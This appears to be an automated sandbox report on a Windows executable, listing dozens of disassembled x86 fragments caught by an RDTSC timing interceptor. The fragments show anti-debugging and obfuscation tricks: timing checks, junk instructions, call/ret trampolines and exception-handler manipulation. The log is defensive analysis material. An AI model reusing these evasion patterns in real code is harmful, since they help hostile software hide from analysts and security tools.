Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD604 second address: FCD690 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F81E8FD2F84h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F81E8FD2F78h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov dword ptr [ebp+12455F77h], ebx 0x0000002e mov esi, dword ptr [ebp+122D1E77h] 0x00000034 push 00000000h 0x00000036 mov edi, 0413E008h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F81E8FD2F78h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000015h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 push ebx 0x00000058 jmp 00007F81E8FD2F7Ah 0x0000005d pop esi 0x0000005e xchg eax, ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 jng 00007F81E8FD2F76h 0x00000068 jnl 00007F81E8FD2F76h 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD690 second address: FCD696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCD696 second address: FCD69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCE120 second address: FCE132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F81E8BCBB6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEAFB second address: FCEAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEAFF second address: FCEB03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCEB03 second address: FCEB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F81E8FD2F78h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 xor si, BEDCh 0x00000029 add esi, dword ptr [ebp+122D2A04h] 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 sub di, 4701h 0x00000038 push eax 0x00000039 jo 00007F81E8FD2F7Eh 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF565 second address: FCF56A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF56A second address: FCF574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F81E8FD2F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCF574 second address: FCF5D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F81E8BCBB68h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 call 00007F81E8BCBB68h 0x0000002d pop edx 0x0000002e mov dword ptr [esp+04h], edx 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc edx 0x0000003b push edx 0x0000003c ret 0x0000003d pop edx 0x0000003e ret 0x0000003f xor dword ptr [ebp+122D37B3h], edi 0x00000045 push 00000000h 0x00000047 mov si, 57D9h 0x0000004b push eax 0x0000004c pushad 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 pop eax 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD00C1 second address: FD00C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B47 second address: FD0B55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F81E8BCBB6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B55 second address: FD0B62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B62 second address: FD0B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD0B67 second address: FD0BE8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F81E8FD2F78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F81E8FD2F78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 add edi, dword ptr [ebp+122D1ED7h] 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D360Fh], ebx 0x00000033 jmp 00007F81E8FD2F87h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F81E8FD2F78h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 xchg eax, ebx 0x00000055 pushad 0x00000056 push esi 0x00000057 pushad 0x00000058 popad 0x00000059 pop esi 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD52AD second address: FD532D instructions: 0x00000000 rdtsc 0x00000002 js 00007F81E8BCBB6Ch 0x00000008 je 00007F81E8BCBB66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 ja 00007F81E8BCBB72h 0x00000017 nop 0x00000018 mov bh, al 0x0000001a mov edi, dword ptr [ebp+122D2A6Ch] 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+1247F03Ah], edi 0x00000028 stc 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007F81E8BCBB68h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 or dword ptr [ebp+122D1E77h], edi 0x0000004b xchg eax, esi 0x0000004c push ebx 0x0000004d jmp 00007F81E8BCBB76h 0x00000052 pop ebx 0x00000053 push eax 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 pop eax 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD532D second address: FD5331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD8495 second address: FD849B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD849B second address: FD84A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD64DA second address: FD64E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD64E1 second address: FD64E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD64E7 second address: FD64EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD86B0 second address: FD86D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jl 00007F81E8FD2F90h 0x0000000c pushad 0x0000000d jmp 00007F81E8FD2F82h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD970F second address: FD9713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FD9713 second address: FD9719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDC52E second address: FDC53F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 js 00007F81E8BCBB6Eh 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB700 second address: FDB715 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F81E8FD2F76h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDB715 second address: FDB71A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF7C4 second address: FDF7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF7CA second address: FDF7D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF7D0 second address: FDF867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F81E8FD2F78h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 adc di, 10B1h 0x0000002d or bh, FFFFFFEDh 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F81E8FD2F78h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e pushad 0x0000004f xor dword ptr [ebp+122D2003h], edi 0x00000055 push eax 0x00000056 mov dword ptr [ebp+12455620h], edx 0x0000005c pop ebx 0x0000005d popad 0x0000005e xchg eax, esi 0x0000005f jmp 00007F81E8FD2F85h 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jc 00007F81E8FD2F78h 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDF867 second address: FDF86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE17E2 second address: FE17F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8FD2F7Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE17F4 second address: FE1815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F81E8BCBB77h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE1815 second address: FE181B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE181B second address: FE181F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE2710 second address: FE2788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F81E8FD2F86h 0x0000000d pop edi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+122D1C88h], edx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F81E8FD2F78h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov dword ptr [ebp+122D36D1h], eax 0x0000003a mov dword ptr [ebp+122D1E9Ah], edi 0x00000040 push 00000000h 0x00000042 or dword ptr [ebp+122D1FF0h], esi 0x00000048 xchg eax, esi 0x00000049 ja 00007F81E8FD2F7Eh 0x0000004f push eax 0x00000050 push esi 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3789 second address: FE3811 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F81E8BCBB6Ch 0x00000008 jp 00007F81E8BCBB66h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov dword ptr [ebp+12452667h], ebx 0x00000017 push 00000000h 0x00000019 sub dword ptr [ebp+1247EAAEh], edx 0x0000001f pushad 0x00000020 push esi 0x00000021 mov dword ptr [ebp+12478A2Bh], edx 0x00000027 pop ebx 0x00000028 movsx ecx, di 0x0000002b popad 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F81E8BCBB68h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 xchg eax, esi 0x00000049 pushad 0x0000004a pushad 0x0000004b jmp 00007F81E8BCBB72h 0x00000050 pushad 0x00000051 popad 0x00000052 popad 0x00000053 jnc 00007F81E8BCBB6Ch 0x00000059 popad 0x0000005a push eax 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F81E8BCBB70h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3811 second address: FE3815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE088C second address: FE08AE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F81E8BCBB78h 0x00000010 jmp 00007F81E8BCBB72h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE08AE second address: FE096B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F81E8FD2F7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F81E8FD2F78h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 jg 00007F81E8FD2F7Bh 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr [ebp+12463D17h], esi 0x00000038 call 00007F81E8FD2F7Bh 0x0000003d cmc 0x0000003e pop ebx 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push esi 0x00000047 jl 00007F81E8FD2F7Ch 0x0000004d mov edi, dword ptr [ebp+122D2ABCh] 0x00000053 pop edi 0x00000054 mov eax, dword ptr [ebp+122D0991h] 0x0000005a push 00000000h 0x0000005c push ebp 0x0000005d call 00007F81E8FD2F78h 0x00000062 pop ebp 0x00000063 mov dword ptr [esp+04h], ebp 0x00000067 add dword ptr [esp+04h], 00000019h 0x0000006f inc ebp 0x00000070 push ebp 0x00000071 ret 0x00000072 pop ebp 0x00000073 ret 0x00000074 add dword ptr [ebp+1247611Ch], eax 0x0000007a push FFFFFFFFh 0x0000007c mov bh, 19h 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F81E8FD2F87h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD760 second address: FDD76A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F81E8BCBB66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE46B7 second address: FE46BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE096B second address: FE097A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDD76A second address: FDD76E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3961 second address: FE397B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE397B second address: FE3A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F81E8FD2F78h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 movsx ebx, di 0x00000027 push dword ptr fs:[00000000h] 0x0000002e mov edi, ecx 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F81E8FD2F78h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov edi, dword ptr [ebp+12471BB0h] 0x00000057 mov eax, dword ptr [ebp+122D13B1h] 0x0000005d jno 00007F81E8FD2F7Ch 0x00000063 jne 00007F81E8FD2F76h 0x00000069 push FFFFFFFFh 0x0000006b or edi, dword ptr [ebp+122D2C1Ch] 0x00000071 push eax 0x00000072 pushad 0x00000073 pushad 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 push eax 0x00000077 pop eax 0x00000078 popad 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FE3A1C second address: FE3A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FECCDC second address: FECCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F81E8FD2F82h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED029 second address: FED058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB74h 0x00000007 jmp 00007F81E8BCBB73h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED1A4 second address: FED1B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED1B5 second address: FED1B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FED1B9 second address: FED1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0928 second address: FF0964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F81E8BCBB77h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F81E8BCBB70h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF0964 second address: FF0968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF64B2 second address: FF64B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF64B8 second address: FF64D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F81E8FD2F76h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F81E8FD2F80h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6A98 second address: FF6ACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F81E8BCBB75h 0x00000010 ja 00007F81E8BCBB66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6ACA second address: FF6ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6DA2 second address: FF6DAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnc 00007F81E8BCBB66h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF6DAE second address: FF6DB8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F81E8FD2F76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF7092 second address: FF709A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF709A second address: FF70AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F81E8FD2F7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FF70AA second address: FF70BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F81E8BCBB72h 0x0000000c jne 00007F81E8BCBB66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFCD45 second address: FFCD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F81E8FD2F98h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87D7C second address: F87D88 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87D88 second address: F87D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87D8C second address: F87D96 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F81E8BCBB66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC00A second address: FFC022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F81E8FD2F76h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F81E8FD2F7Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FFC022 second address: FFC026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
